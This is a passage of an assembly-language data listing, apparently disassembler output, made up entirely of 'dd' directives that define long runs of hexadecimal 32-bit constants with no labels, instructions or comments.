0B8A45405h, 0C3B9AC3h, 0F40277D0h, 65B8A38Bh dd 4B240AD3h, 28FB9AA7h, 0E48B4A7Dh, 0BADBD379h, 59D4FB1Eh dd 0EC54F5A3h, 603D676Bh, 64BBF07Fh, 3DCEDDDDh, 0DD71ADF5h dd 86C2FA47h, 6AE1435Ch, 0D4B18A87h, 60B7A3ECh, 0DDE6B3C1h dd 0BAAA3FEEh, 7DAD1BDBh, 8D1D5E79h, 0D80D62A1h, 9D2DD22Eh dd 794D2D1Ah, 94665F6Ah, 0F6644B27h, 38E27FE7h, 5DEE6976h dd 0BBD94045h, 4D1780F3h, 0C9526D30h, 0E975566Ch, 5022C9B0h dd 0D19B32F4h, 1E667B9Fh, 969E0F29h, 0DF05D957h, 44CA600Dh dd 1A522DAFh, 31209A8Ch, 18253220h, 39224335h, 0B5182932h dd 0E3DF43D8h, 0F4D1CFFBh, 0F35ECC46h, 18DCBA2Fh, 0AC6D4E19h dd 9B79AB91h, 0BC25C8F8h, 0A549148Dh, 0D99F6F36h, 136C65E6h dd 0B6C25657h, 0E0378074h, 974D7D86h, 0A0549C07h, 8E367B45h dd 0AB98441Eh, 0DF1DB661h, 49BF3705h, 9D5C306Fh, 0E0608EB3h dd 5E57EFBCh, 48C00381h, 4B973168h, 0E9E788D8h, 7C36E1D8h dd 0EEE8DB79h, 0E3864533h, 8073B86Bh, 5240E7CEh, 0DA30280Ch dd 15B98E46h, 0CFFA9C5Fh, 0D13353E7h, 0B05FF8BEh, 0E8888A4Fh dd 0F07EEBA6h, 0BBC02BAEh, 903DC4A6h, 1F55408h, 2E766A05h dd 741CC8BEh, 0C5C89437h, 61971915h, 320BAB26h, 0AD501815h dd 0D206BA0Fh, 74BD6E75h, 3C3CC45Ah, 81ADB65Ch, 0E6F0B02h dd 3064BEE9h, 0FBE0F71Eh, 35617603h, 239A7A5Eh, 0E2FB8E86h dd 3E41F58Bh, 34ACAAE8h, 0E0B525F6h, 10BA5ECCh, 29B68527h dd 0A071EAF6h, 5555D268h, 0FCB6B152h, 7E037429h, 175DA22Fh dd 0CAC564B3h, 82CCAB5Ah, 142970B2h, 4EEA37EBh, 45587D99h dd 6C188991h, 4B05EEEDh, 0BE39C689h, 34E96772h, 1B6CA9B5h dd 27AE437Fh, 76B9D6ABh, 0EC42ED7Dh, 0AA9FD8Ch, 8246052Fh dd 48A50B97h, 460D6AA6h, 0C38A5467h, 0DD2711C3h, 2A512BDFh dd 0FEC8A17h, 59071855h, 5232FBA2h, 0D8259A95h, 3AC6B54Eh dd 0B4606A98h, 0BF2A8062h, 8331533Fh, 0B317E82Eh, 28D758C9h dd 0E038C55h, 823AB315h, 5E3C214Ch, 1778DAB3h, 897CE398h dd 0D135E13Eh, 105F0C7Fh, 0DA9B3DE3h, 2F250EC9h, 0C1DD50A5h dd 0EFFAD350h, 34BFFCE4h, 83667518h, 0C53AB512h, 0FC21F8E0h dd 0B57B1EE0h, 35EA4612h, 0CB35E197h, 0DFAD20E7h, 116196C8h dd 8F76E970h, 1F738DBFh, 71878EBFh, 0F8FE3D01h, 6D2DB726h dd 9B01C581h, 1786FD26h, 605E1BB4h, 0F7C8D815h, 0BE55A482h dd 9069B120h, 46C18671h, 1BBE3CDBh, 1F4DBF75h, 2D3EC124h dd 8A134B57h, 0E8086DD8h, 0D85629B7h, 0B4A0D9BDh, 4940E588h dd 0F1658C91h, 0D907A26Ch, 85811E90h, 0DDA78949h, 0ECADDD24h dd 0FE6FC0A9h, 0AA403B33h, 6624D1Dh, 23174386h, 0F24D9C7h dd 53B4B97Fh, 0C5DDCBA6h, 0EDD8C63Ah, 0E7481C7Fh, 5541270Ch dd 8F0A67D0h, 2E70EEC0h, 0EC2852A8h, 640FB8Bh, 357D3AEh dd 0C4A93CB5h, 0E0616AF8h, 2F7478E5h, 13459383h, 0BF6FC974h dd 1110CB8Eh, 0BA059ABFh, 0CF2EA838h, 88E68881h, 0B1CB9EC0h dd 912939CBh, 0D88E09EFh, 0D6816EC2h, 7D45EFFAh, 0A8D00050h dd 43F73937h, 0FDA161A3h, 7FA0A1FEh, 7D148CBEh, 3C580890h dd 0D59814B8h, 57F1B12Fh, 0FA895D04h, 4E9436ADh, 0AC183AE3h dd 79FF0516h, 8E9654DEh, 0E9300C3h, 4800D5E4h, 0F2C70369h dd 3B83BE39h, 8045CB07h, 1E1002E5h, 73BE347h, 453F97CDh dd 4B1DD183h, 4639A3B1h, 7A1847h, 70C4E26Ah, 86E828B2h dd 21DFB818h, 73B62D50h, 597A4386h, 7C282C29h, 1DBF3F77h dd 0B58ACC0Fh, 717B8090h, 320D13FCh, 0D847FE2Eh, 8E2E12A6h dd 815B321Dh, 698C18F7h, 0E757EC5h, 3550092Ah, 0E9B9D1F7h dd 1BD230C5h, 7A57C0FFh, 0DAA37EBBh, 9710414Ch, 0D4F5FF7h dd 0FE0875CCh, 66540D4h, 31B12398h, 4A2261D7h, 7EA5C19Bh dd 29D194E0h, 378A5852h, 7BD3019Ch, 0B4C53F7Dh, 0EDA634F5h dd 98B9D8Fh, 4FFD4EEFh, 173B1E98h, 7700F113h, 0B170CE1Ch dd 2F450E82h, 5218DD78h, 657BB9A4h, 0BBC4930Ch, 0DC5B6EBDh dd 62E1573Dh, 899E7AFEh, 7843A242h, 575604CCh, 0FEEAF7F7h dd 679DC568h, 0F0A4619Eh, 0EE87755Ah, 0D9332077h, 6CFF39AFh dd 0A9C4BFA7h, 1A46DBAh, 0E71E51DEh, 2814FC1Eh, 0BFE33C6h dd 45E3C916h, 0ED5CFF90h, 1B54EEE8h, 11FC80EFh, 159853E3h dd 20C1CE33h, 18C6CDD0h, 6A6B7C06h, 3EA3CDC4h, 7D567538h dd 711AA7EAh, 613A29C9h, 4573504Fh, 68D59878h, 0BA42233Fh dd 0D19C9AFFh, 7CD6EC32h, 0A1F11B19h, 0FC1B5076h, 0D34C680Ah dd 84C1037Dh, 9BC18DA8h, 0C1BFFF05h, 715CE2CCh, 0FDDD2386h dd 27895A63h, 0E46C14F4h, 0E896A5BDh, 0DAC338F3h, 67A8FC26h dd 0FFCADFE7h, 0EE70EEA6h, 0DF7D8D7Fh, 7E59267Bh, 0DE91E914h dd 0A2365518h, 5534E5AAh, 72E3FDFBh, 0A3551186h, 0FE68AA0Ch dd 0DFFD59EBh, 0A93A1507h, 8FBCFE9Bh, 3A3A07F3h, 8FDA9FBFh dd 0C22306D4h, 63DE807h, 81059AC4h, 0D3D5E17Fh, 0DBFCC67Bh dd 3004B1D4h, 7EFECC7Ch, 0AF74ED05h, 8B4A9AF4h, 15BC3035h dd 0F59A795h, 0F64854F9h, 8E2C451Eh, 6E5F60BCh, 26F57EF5h dd 8A73B598h, 48CD9EEAh, 0E91DD331h, 86CF3538h, 2CE3286Ah dd 6018B41Eh, 0BC8A179h, 0D507D46Fh, 98FF74E2h, 0D31CADDh dd 6878EA87h, 0B71D7A03h, 63289911h, 0AE341764h, 39859DF0h dd 0A731FBDh, 71D08298h, 9DA69FFFh, 0D3A506B6h, 81C56FE7h dd 60A52CD1h, 11751EEFh, 0B5D9BEEh, 0D70FB7F1h, 0B6B271BAh dd 0B49D0E90h, 0E9ECFC45h, 7E663989h, 35FFDAC7h, 0FA536208h dd 3CF67B99h, 165B8F09h, 5FAF479Ch, 0A74604B6h, 54F35B91h dd 0AB762CB8h, 5F9444F7h, 0AB2345E5h, 33A54C2Ch, 99F871CAh dd 46E98582h, 0DC6901DAh, 334FF62Ah, 45261BFCh, 7E1B74EAh dd 783521A9h, 78D4532h, 0C932B547h, 52460E6Bh, 0DBF154Ah dd 8993A8FCh, 92583695h, 12477AC8h, 0C36BBB71h, 91BC0A28h dd 0C2BAC2D6h, 0A1874478h, 4A403FB3h, 0D8D415BBh, 0DF3164BEh dd 0B4FEEBA8h, 88A0F612h dd 0A31872EEh, 1B086EE2h, 19247677h, 0C0EFD41Bh, 32B5BE20h dd 11B1F55Bh, 664BBD9Fh, 0C0603517h, 5C565ADDh, 0DA19938Fh dd 7DBA735Fh, 0B46707D7h, 0A9F3616Fh, 8CD9933Dh, 9916FB58h dd 0C785B97Dh, 0F6C60F0Bh, 0A1ED0705h, 0C54DE3DFh, 17C174AAh dd 8DA9B6FFh, 6023283Eh, 30A8F15Ch, 0A16B70C5h, 0A2BA1F40h dd 0EAEF82DFh, 3D99F609h, 0A7AD0F6h, 1A80C912h, 0BC62C550h dd 0C3F26E1Ah, 0B30F18CAh, 951B4D3Ah, 6364D5A5h, 0F73ECC85h dd 0F3588599h, 1B210061h, 3466AD19h, 678D807h, 2DA42F40h dd 14EF324Dh, 32EBD86Ch, 0B446ED7Bh, 0FF34235Bh, 0CB15EEBh dd 0DD611DC3h, 611B131Bh, 0BF3F053Ah, 0C231B1F0h, 118DDB05h dd 0F5574076h, 4DC8847Ch, 0DFC20F4h, 4FB68C20h, 267D3A51h dd 2D0F6EAFh, 26F285C4h, 0EF4996A0h, 5BF2771Ah, 66DDF665h dd 2EA6B20Ah, 0C1E7A9DEh, 0C03E47D4h, 4174BB33h, 0D214DC7Bh dd 88FE4BEDh, 31E9FD0Dh, 9E0459Ah, 0CDF5FDB2h, 18951167h dd 8FC7EA23h, 0BF75134Eh, 0D00BD441h, 0CF4EEEA3h, 5CAF4AA9h dd 7AC77117h, 0C78D9BEAh, 0ACDCB1CCh, 23457077h, 877FEF02h dd 444DC3Eh, 3020CFBAh, 865020D5h, 26F6BCEEh, 2020ED77h dd 7B936A6Dh, 433C2171h, 407715FBh, 0B934D771h, 0C36C5E97h dd 0B94F0C17h, 0FCB1F192h, 0CF1F0909h, 3E15FFEEh, 24F8E56h dd 1F8C59C5h, 4C9E0993h, 99EF6BB0h, 0EEB32C78h, 5EC02E7Bh dd 0EA4344DBh, 2C2D7D05h, 0E28DD84h, 95941973h, 0A38CD78h dd 336A9215h, 0B8C3B05Bh, 8D896E49h, 9BCDB194h, 469A6031h dd 0D6735152h, 8F683931h, 9D9B4E3Fh, 7C9C4914h, 1797F76Bh dd 0F4FEEF1Eh, 0FEE2CEB2h, 7E77420h, 0AE0BDB8h, 5B055EE2h dd 52097C50h, 0F9CB8BD0h, 28315799h, 237DFD90h, 5F8BBD90h dd 0E66E8BACh, 30BBECC1h, 0B52E2113h, 4938CB14h, 744CDCBEh dd 0A345DC0Eh, 0D647EAE9h, 0C168B468h, 299B3BCCh, 7EC1DBB2h dd 8E0869D8h, 838B187Dh, 17077FBFh, 67C4DB1Bh, 1E26EB5Dh dd 2E7BDF5Dh, 0FAB1FD51h, 846CDDBFh, 5618C33Ah, 0E95B8750h dd 32FBC4FEh, 0B76386B3h, 4A66F14Dh, 0AA905AA2h, 0DF0FB7BAh dd 5BBC018Fh, 0F0C242D9h, 0E7A6AB3Eh, 1367362Ah, 787FA00Fh dd 50C7BF13h, 0E00789BEh, 1E26E97h, 74F4C5F9h, 309BC9B0h dd 297236F0h, 60358CC2h, 0C3301A46h, 0E1AB980Dh, 5C1DBB09h dd 0FC05D250h, 826A845Eh, 659560EDh, 5F21B878h, 54814131h dd 17FD4A27h, 26BC4A22h, 0E5D98770h, 3354305Bh, 0CDE603D5h dd 67F946A3h, 0BDC79C23h, 556FE2A2h, 3F1507FCh, 4EEDFC53h dd 0DE369A7Dh, 5DBA30Ch, 3FDA642Dh, 619D00C1h, 0AEDC5275h dd 0B5C527EBh, 51821A5Ah, 0FC11E547h, 0C567F2D0h, 0DE3B9A38h dd 0ADFC8A03h, 3E6349EAh, 33BDEEFFh, 0ED944EA6h, 0B17C66DCh dd 4366ADE0h, 0AEB940A1h, 3039CCD9h, 361D7DE3h, 0B7FBB7D6h dd 0D45200A2h, 489D60ADh, 15F806h, 0A0B8C3B7h, 0B13B7EB6h dd 0D44C2DADh, 0D7B4BEBAh, 9A2FC7CCh, 8071E760h, 0B565F5CBh dd 0A333CB5Bh, 0F5DCCFBFh, 0F8FEFA7Ch, 0DC3459EEh, 0BAE1A316h dd 0C5786833h, 0F42B4290h, 0CADE1B01h, 381A0CF7h, 1448501h dd 49015C7Eh, 6E5DEE78h, 0E5AFA139h, 9135131Fh, 0FE02FFECh dd 0A3BC0C70h, 2EF7DD84h, 1FBDEBE9h, 0DEB36C73h, 0BEF3F2E3h dd 6222F747h, 0EEE0559Fh, 0BBEC7140h, 0F1F8C0E8h, 0EC93461h dd 8F26D030h, 59EFD1DFh, 2837452Ch, 63F578F2h, 0C39B2FB1h dd 9FCC2C93h, 4BCB411Fh, 44DF305Fh, 4A12ACB0h, 0D34E3714h dd 0A17DDD15h, 91467570h, 1A6BAC56h, 0E7E02B82h, 2B85096Dh dd 4CD2EA13h, 0CF8F17B5h, 0B2DBAC7Fh, 0F9B02F43h, 6306987Fh dd 7E11EB51h, 0AD3CEF8Fh, 0BE0E8066h, 9D42755Ah, 9F1F6B54h dd 1DDFD13Fh, 332842B8h, 1EC36148h, 42FE9F31h, 3B7F383Ah dd 2D27C8B2h, 9F11DFE5h, 5D478F5Fh, 0E23C02EAh, 0D305BF9Ah dd 1D4AFCCAh, 0F22C1083h, 0E96C851Dh, 0C7E4B4C3h, 14FC7F9Ch dd 0BC5CBF19h, 0C1FE5F19h, 3CEEEF8Ah, 572A27C3h, 4294BF9Fh dd 28E558D0h, 0A0D99093h, 63FB430Eh, 34610DFh, 97560BBBh dd 0D0332B8Ah, 37A5ED2Ch, 0EEA05877h, 915A1984h, 46CA50Ah dd 0A89A4BDh, 947E42DAh, 0C8851F8Ch, 0EB3D055h, 268B42EDh dd 560D37F6h, 1DB3ED45h, 67E795B0h, 3C38BECCh, 572A4D2Eh dd 9E57F217h, 6057A8EEh, 0BC265D27h, 0E401EAD3h, 0EF3715FFh dd 0E2EF665Ch, 17774CA5h, 460BF35Eh, 6547D0EDh, 0CF9C7C00h dd 0E3ED9C87h, 0B051B120h, 0A57030ACh, 3632C293h, 3B440CFCh dd 201FB887h, 1339EF62h, 41C542BCh, 868C8E28h, 0E36A4136h dd 2BDC0EBFh, 8AE5F35Ah, 3645BC03h, 8B53B0B5h, 0BBB5D3F4h dd 7E0261B0h, 680627C2h, 6CF44EBh, 0BE795BF2h, 731128F7h dd 3078EF35h, 8E3D22B0h, 0DC0035B7h, 9C855A9Ch, 0ECA8DC1Fh dd 165F08AAh, 0C9DE0763h, 2CEEA5DFh, 42D62B92h, 28E37B19h dd 91419AC6h, 0EF4A6EA7h, 37A87EEh, 1F0298DFh, 723AD566h dd 50FF827h, 33C64160h, 0BC558AB4h, 0BEC020DFh, 7B309E83h dd 0DC402FDh, 644F8344h, 0B600A638h, 0DDD839Ch, 7BFAFA60h dd 8818F0E2h, 9D309FFBh, 85D2CDF8h, 0DB5932F8h, 0B5DBF8Ch dd 0F6B30DF1h, 0C7F6FE3Ch, 185F1083h, 0AF163A0Ch, 37D99526h dd 9BE1E4D4h, 0C586FB0Eh, 0DF59F193h, 0D4B528EAh, 0F233E34Fh dd 89BA331Ah, 4897839Fh, 0E994866Fh, 0D5E7E05Dh, 0D75BC3ACh dd 0DA867A2Ah, 0F6A57028h, 0ED7104C1h, 5F6E9D9Ch, 69FABD7Fh dd 0FD7B3BF0h, 1FDD620Fh, 5A88D065h, 7C32DD47h, 0C700C2E6h dd 0E00E44h, 1B7B5809h, 0C5CBF7DFh, 66B7EDACh, 78F159BEh dd 0F0FB436Ah, 38B74293h, 136D1EC3h, 9DC721DEh, 0E5AA6BCAh dd 6E6F8715h, 0A16A3B93h, 4ED014E0h, 0ED0568Bh, 7C782FBEh dd 79DD74EBh, 48DE873Ch, 3F544F55h, 0F4667962h, 0BE2CC518h dd 0EEB07E7Ah, 9DB1A70Ch, 0D74ADA4Dh, 0EBF66476h, 0B5FCC306h dd 8DD5ECCBh, 0D7FFB6FCh, 51FCD1EBh, 0BDEB954Fh, 921D6D56h dd 0FBB91652h, 97D115h, 243431B8h, 142BC0B2h, 603283EBh dd 5C7BE5CEh, 0C223408Dh, 8AF74ACCh, 0D5259B90h, 8C876A39h dd 8D888FCFh, 27E359F1h, 22847FF8h, 0B5FC636Bh, 60AD23E3h dd 591A342Dh, 0E1B56ECCh, 0B3BC1CBDh, 43E4114Ah, 22CDD1D7h dd 0A0814A5Ah, 371A36F7h, 37180E5Ah, 0E7AFC65Ah, 35ED2057h dd 4EE3045Bh, 0B83B3A56h, 0EDF32F96h, 0EB3DCE38h, 4F596B8Dh dd 0F756C535h, 0D974F5ACh, 12616D45h, 7127BCA4h, 2BE895FCh dd 0F77CF703h, 6C83E222h, 47E25AE5h, 18D8F10Ch, 2DDD83E2h dd 0C2FB8417h, 0A3FB80B5h, 0CBF5C675h, 1D2782EBh, 705D5255h dd 92328814h, 6BC175Ah, 0C4678B45h, 0A36B5EF1h, 0BCB2DAF5h dd 928CA395h, 23F0CBB6h, 0F600FD02h, 3790F9D0h, 75E2DA80h dd 0F71F824Eh, 8DA6B1B8h, 6EF3EBD6h, 0F7496E3Fh, 0CCE85D9Dh dd 0BA6D5DBBh, 30F60C1Dh, 0C6D376EDh, 0A51F82Ch, 0B56EEAA2h dd 0DCCDBEAFh, 0C3F537F9h, 0CB16D7E0h, 2D7CED1h, 5DC39F97h dd 0C8F9EA1Ch, 0DF9D2A53h, 2E5CD380h, 0C01FF362h, 0A5C8BD28h dd 3144299Bh, 0E0C5A588h, 802940D3h, 0C453A2E0h, 7D881F4Ah dd 835B6C79h, 9B751F36h, 897480CFh, 0FE017DBEh, 8639FE03h dd 7B0F7D6h, 506D59BFh, 0EB74F1B3h, 0C2ED3C03h, 1BB5A805h dd 7554F889h, 42BB8DBh, 4BDC5410h, 5FD581C5h, 0A84D16C1h dd 77F95AD3h, 0A7F2052h dd 0C69E1EC3h, 47E1403Ch, 7EF9B63Ch, 0AAC9E813h, 0E4F40B8Ch dd 0F4098F54h, 189BE23Ch, 0E7DDB9E8h, 0E83CF40Eh, 267A0573h dd 0F40C6EF9h, 3EBBE03Ch, 77C133D0h, 0B667A04Dh, 4F40D2EFh dd 0A0586F91h, 0C4CADEE7h, 0E61FCF40h, 0D2DA05C5h, 531A9023h dd 73D02439h, 6AF3BCD7h, 4680C8A5h, 35223B21h, 2C47D70Ah dd 6E56428Dh, 0D8D344DDh, 83980AC8h, 0BE134F75h, 936F1C3Dh dd 892F17BBh, 7DD586FBh, 8F19E818h, 4EAAEFE8h, 0E537CBACh dd 1FF36CD6h, 3543C48Ah, 0A0C59806h, 0B7F0E7B5h, 0CE047CEFh dd 3AE0C7F2h, 25B56623h, 0E71BD558h, 1AE02EBFh, 88AABFEEh dd 0CDC01589h, 6733D5A8h, 6DA9DA98h, 2EACE642h, 0B06C1D5Fh dd 77F5606h, 0CAE02169h, 8D6E5BF2h, 0ED330344h, 0C4BB502h dd 0B8FE9CB8h, 76DD1B5Bh, 0A036BE13h, 0C8C005B3h, 0E6C6323Fh dd 0FEDFCFDEh, 0BB936400h, 274144CBh, 0D117C4FFh, 89FDEBAEh dd 0E1C68250h, 8BB5A456h, 71B2B8A2h, 6EC17A96h, 0D3FD49Dh dd 3D997556h, 0F4CBB01Eh, 53FB1521h, 0FAB624EEh, 0D357304Dh dd 78CF677Bh, 2EB4F50Fh, 737DBC7Eh, 3FD22E58h, 899593A5h dd 0AA810D99h, 0B67C124h, 0D0124CCCh, 9904B3CBh, 0C608F8C3h dd 8945869Bh, 0E2728B23h, 7CA2C303h, 45B4F9B1h, 2DCB5929h dd 16F13CAh, 59DEAA8Eh, 8B7E022Fh, 0CA3F0EB6h, 0E183AC04h dd 4DE0E7F8h, 7F4B28B6h, 0B118F693h, 6D65B7F9h, 745553ECh dd 4D892EB7h, 5F270B7Eh, 0B5FC4C12h, 60EF89B1h, 4C673591h dd 32DFCFFCh, 21A5FFF0h, 0A26FF136h, 3F803797h, 0D243258Fh dd 2E748BDBh, 522FC700h, 0F516BFC7h, 0B0B39ADAh, 0EB133A4Eh dd 0E5B580D3h, 37D58E4Dh, 0D8F8C0D6h, 8FEF1899h, 1FAABC61h dd 0ECDF3FE3h, 9BECF8C7h, 0C40E8C31h, 7C404B8h, 0CC7576A3h dd 0D3CBA849h, 0B882D727h, 512E47Fh, 6516CC90h, 0D0BCC4BAh dd 1D4B7222h, 95AD2C57h, 66A6C97Fh, 0C33E8984h, 99CA8D26h dd 15935E27h, 0A6351C49h, 7951FCF2h, 0DCD7ECF3h, 74914EA4h dd 335B54B7h, 1BA97B08h, 0EB031A63h, 74EA27F1h, 0DA0B4789h dd 15FBC09Fh, 8BECAA60h, 0BE56D18Fh, 0D6E51615h, 764071EFh dd 4C1717C1h, 82588F4Eh, 857F97h, 2C51842Fh, 0FE310BB5h dd 29350FCBh, 13D40491h, 2C9825BFh, 0B4609706h, 68CC6E98h dd 4DB922E8h, 98378FD7h, 1FDFDA0Ch, 3F0D0F46h, 0AD4BE642h dd 0D7DA85E3h, 0D10DAB90h, 0F842C987h, 4D5C5237h, 8E751DB3h dd 6E6237F0h, 873AC0EDh, 0BF561034h, 0D356ED76h, 0A39CFC0Ah dd 3D88D0B2h, 0C8CBA56Ah, 58818FCh, 0BC671867h, 218A26ACh dd 70D96CA7h, 8CD81093h, 0E31E0A14h, 0E1DD46F0h, 89F678Bh dd 31E39174h, 0DA825D09h, 0E6CE1885h, 359F83A3h, 53F77A26h dd 8D56FB1Ah, 0E7B8AF57h, 5B9AFE7h, 76FC6DDBh, 0C1F5BE1Bh dd 0B9E00937h, 0BD8A303Ah, 0C8F57A0h, 0AEE12FF8h, 8C17FFDh dd 847AA64Dh, 0E73E4E0Dh, 88E62A98h, 82B592Fh, 0D902CFA7h dd 0E182B5BCh, 6220C797h, 0DDA983C7h, 4B86172Dh, 9CC5B773h dd 0EEA4FC60h, 0E8F3298Bh, 561432F4h, 4F75F08Fh, 2283601Dh dd 9C6412D7h, 2706B43Dh, 0F904B684h, 0E2B32856h, 670718DFh dd 0F97E10F6h, 201522A1h, 0EA778B81h, 0AE309B5Ch, 154E3B89h dd 0CA7001A9h, 7F801CD8h, 0E5D19B1h, 0E2F6527Eh, 0B2B4801h dd 45EFCC31h, 51261E69h, 862FE5FEh, 4138C411h, 643B677Bh dd 0BF0A7E36h, 0DE3CCD5Ch, 0AE5ACAAFh, 232B94E6h, 0C663F191h dd 6AEB1D8Ch, 0E2F43CAEh, 5E080056h, 310B282Eh, 16C5F096h dd 0C6BAD7ECh, 7D5786D4h, 4F14CDD4h, 0D9945E33h, 599F70Bh dd 0BDCB85B5h, 0A6522E44h, 5085B3B7h, 60FFAF84h, 756E39FDh dd 0A1DA6BD8h, 5C1145EAh, 0DF360555h, 43751D05h, 0DB41D951h dd 7B0E8295h, 2D3F1D8Dh, 0D510EEEDh, 68FAFB04h, 57A1689h dd 1DFD4E4Fh, 53CF7F81h, 48F2AEF0h, 68D56BECh, 554C152Ch dd 703E6EF8h, 417D9872h, 0A41D7A1Dh, 3B556A79h, 0C531E0B8h dd 0F709612Bh, 0BC6F34C5h, 0DA716CEDh, 922FEFD7h, 7E3A0239h dd 0FE7B612Fh, 68E7D0Fh, 0EC1CC07Dh, 0B89BC1AAh, 0A3DDD3C2h dd 9631E0EEh, 13F6CE2Ch, 14857885h, 502DEAA2h, 0E0F19E63h dd 7838145Fh, 0E2193F2Fh, 8AFF53B5h, 2202AF1Fh, 1547A672h dd 81EA81F7h, 798D1AE8h, 44B3D74Ah, 0E9AEADD7h, 0C7C3CAD1h dd 91BEE9ADh, 8E9DBFBAh, 40760665h, 1B66DA2Fh, 0A8F4213Fh dd 6DA1F9CDh, 0A9B443D5h, 0C74018A6h, 0F18E9861h, 79B7F19Eh dd 80E0EDFCh, 3437CE45h, 99744E80h, 627B710Fh, 0E2A187B0h dd 686CD5B8h, 88E7C783h, 150A7C55h, 9D9833E0h, 0AE12861h dd 8A4FE542h, 62A2467Ch, 0DFBDC078h, 6B10FA8Ch, 0F6E4DF84h dd 79C64F04h, 1E2FA830h, 0F1D6E3B5h, 0F95F21E3h, 87DEEAA5h dd 72B981EFh, 12EE9770h, 0AE5B7C18h, 0E9B22285h, 75166223h dd 85553B7Ah, 1A18B06Eh, 0C9D52750h, 82DADCA6h, 29DADCEEh dd 0B1ECD43Fh, 0A687E0D7h, 0E7BB3303h, 6BE2DB85h, 0BE2A220Bh dd 75540C9Ah, 2BD9030Fh, 12B383EEh, 0B43FEBEDh, 98B5B7D4h dd 76E779F9h, 256E91B6h, 0A960FD55h, 7553983Ah, 0D518F670h dd 1F77507Dh, 0AFB42C2Ch, 158243A7h, 25E19DAFh, 0BF97676Fh dd 15FE1683h, 346C2599h, 98034D6h, 0F66D1DFEh, 0BFBDEC2Bh dd 0D77EB981h, 10D1FDC9h, 4BA537Eh, 0BFB65916h, 96686CCCh dd 7046D9ACh, 4D6702B5h, 172C5DB3h, 0D2A1D7B2h, 8DDDDEBEh dd 2D5500E1h, 7F660918h, 4FCB4C3Ah, 0BB4E88B4h, 0C91523B6h dd 7FCA6378h, 31705400h, 9CF06BFAh, 6FA7C6DAh, 39A1BD17h dd 3D9A8E70h, 0D41FF09Fh, 0B39AF06Ch, 0ECAAACD5h, 0B23B354Ch dd 3B50630Ah, 5112BB8h, 35A0C262h, 0D9F66105h, 0A2417893h dd 3A1C4B23h, 9F8055C6h, 436CA9BBh, 98DCB7Dh, 511FC5F5h dd 5B3F9EDFh, 0C5C82EDFh, 62035850h, 5AD4401Eh, 5EAB73Ch dd 0FFF1EADh, 0C1C0CB81h, 0EB473F6Fh, 0EB514AFAh, 71ECDC68h dd 440AA33h, 0D6908E2Fh, 397992F9h, 0E5432698h, 4A0DF5FAh dd 0EC9CCDD3h, 0B69CE98h, 0A7C0E351h, 68F5E569h, 1D55838Dh dd 154F1E71h, 5CA8157Eh, 0E9DEA131h, 0BBA08EEEh, 95158CD5h dd 21F2819Fh, 0B87CAE3Eh, 2D719A16h, 0B122853Ch, 168B3CD7h dd 98C0E896h, 0A12AADABh, 0ADBC98A6h, 3235A720h, 26C5E8Bh dd 0BB8FBC21h, 0A746F759h, 0BDD3AD7Bh, 0EADEE9C6h, 53FCCEA2h dd 9D3E0948h, 902553FEh, 1962F135h, 75FD8134h, 7B4E99BAh dd 0E000F1D1h, 0FC1F72D3h, 0F8EE4C5Ah, 7EE51F62h, 0DDF4F7CFh dd 0A0F8DB1Ah, 0FF17DA2Eh, 8A57DF11h, 39506D38h, 0C359785Dh dd 9DCF907Dh, 0AF56883h, 0B6CAEC5Ah, 90ED8DEh, 0D9EBDEDFh dd 5FB078B8h, 79E393F7h, 630E9709h, 0AB25F521h, 32BBAB4h dd 0E247D2D0h, 0CD04F483h, 3D780248h, 0BAF9211Bh, 2F612F2h dd 778FCB8Bh, 800A6D3h, 473F8CCBh, 61A168E5h, 2E434257h dd 17D69966h, 0A7308436h, 978D16C6h, 1CE1A570h, 1A17097Dh dd 0FCA0F4E3h, 456C70A5h, 0D7143FC1h, 55488DCCh, 10C37D9Ch dd 5F1BB58Ch, 3F1C0CAEh, 2A2E0C66h, 25F9712Ah, 0EB545A5Ch dd 90A6B84Bh, 0ECEDFD70h, 0CEADA036h, 0C7687BADh, 6DEDEF82h dd 0EBB5E6F4h, 2F8C6007h, 0BEDCA523h, 0A61C5F1Eh, 81437FB0h dd 0A9A01B73h, 4A3B4963h, 33FAD5CBh, 73A9FF80h, 0E06FB60h dd 0A6EF0EBBh, 7003086Eh, 947E2B7Dh, 5827031Bh, 0A1ECF596h dd 118DF297h, 78DE9772h dd 993FAC3Bh, 6F9A518Dh, 85A3AFB5h, 0EBEC7B0Ch, 0AB915B17h dd 0FD6894EAh, 87D25237h, 8A8C1B9h, 7DF9517Ah, 0D552A30h dd 0CBDB5D3Eh, 0DE82956Bh, 8FBCB7C8h, 633C4B8Ah, 0FAD997AEh dd 0F31A7C69h, 99C1736Eh, 4DA8A351h, 0FA25C92h, 1C5AA62h dd 50F0ED8Fh, 0D6E0D1DDh, 54A73E34h, 5CDAAF77h, 5E7D2BFEh dd 5CA39B7Dh, 36674259h, 0C8429826h, 0BC7C368h, 15BC8CBEh dd 89E426A6h, 70DBF7F8h, 0BE6BACh, 69BF74A4h, 15F41B07h dd 0B3D648DEh, 49CC6071h, 57991824h, 1C676256h, 4AF1FB0Fh dd 0D0DD1193h, 338D92FFh, 0E81D1C68h, 82EE8721h, 9B2AD55Eh dd 0B41BC216h, 1F27F425h, 2D1774FFh, 0D78058D3h, 3B6069D1h dd 11854CA1h, 34D8238h, 265692BDh, 0CDB74CE5h, 86AD54Ah dd 7660568Ah, 0B17C5DF7h, 25D6093Eh, 0CDD8BA74h, 0E6F1B58Bh dd 0D66DB71Ch, 1789A320h, 4741840Fh, 82C24A8Dh, 0BEA30441h dd 0A9AB03A4h, 0F6E44FE2h, 6CA4BA3Eh, 45646BD7h, 2431E331h dd 5C5DC370h, 0F3601C02h, 2201240Bh, 4738EBC0h, 0F4C5FD08h dd 1E6FE1CEh, 0C162F58Ch, 0C4C657ADh, 58AE7ED2h, 60A8A10Ch dd 6A8D80B0h, 0AC578A41h, 0AA5E3167h, 0B7E2EEEh, 6F01C0Dh dd 6E78EA98h, 0AF50FF56h, 9FC8EB54h, 8AF4EFE0h, 5E03E85Ah dd 287FAD1Ah, 0A6952B1Ah, 0EFD93BF6h, 64E19EF7h, 0B989E45Fh dd 7E3173Ah, 791B0062h, 0B4E10EB5h, 4A47AB42h, 0DF9D483Eh dd 0A1EC316Fh, 90AFF1F7h, 8CD3CFAAh, 0C38C3A6h, 9436732Dh dd 68904BABh, 0FF9A5BA7h, 0C28F3EB5h, 681BED73h, 0A9CCE36Eh dd 0DDCAA587h, 0FB9B8ECBh, 0ECED3C39h, 0ABD0F1A9h, 0C4CC62C4h dd 0EA7BBC58h, 0ED3E4A99h, 0A01BFC79h, 0F58BC95Ch, 0B180FB41h 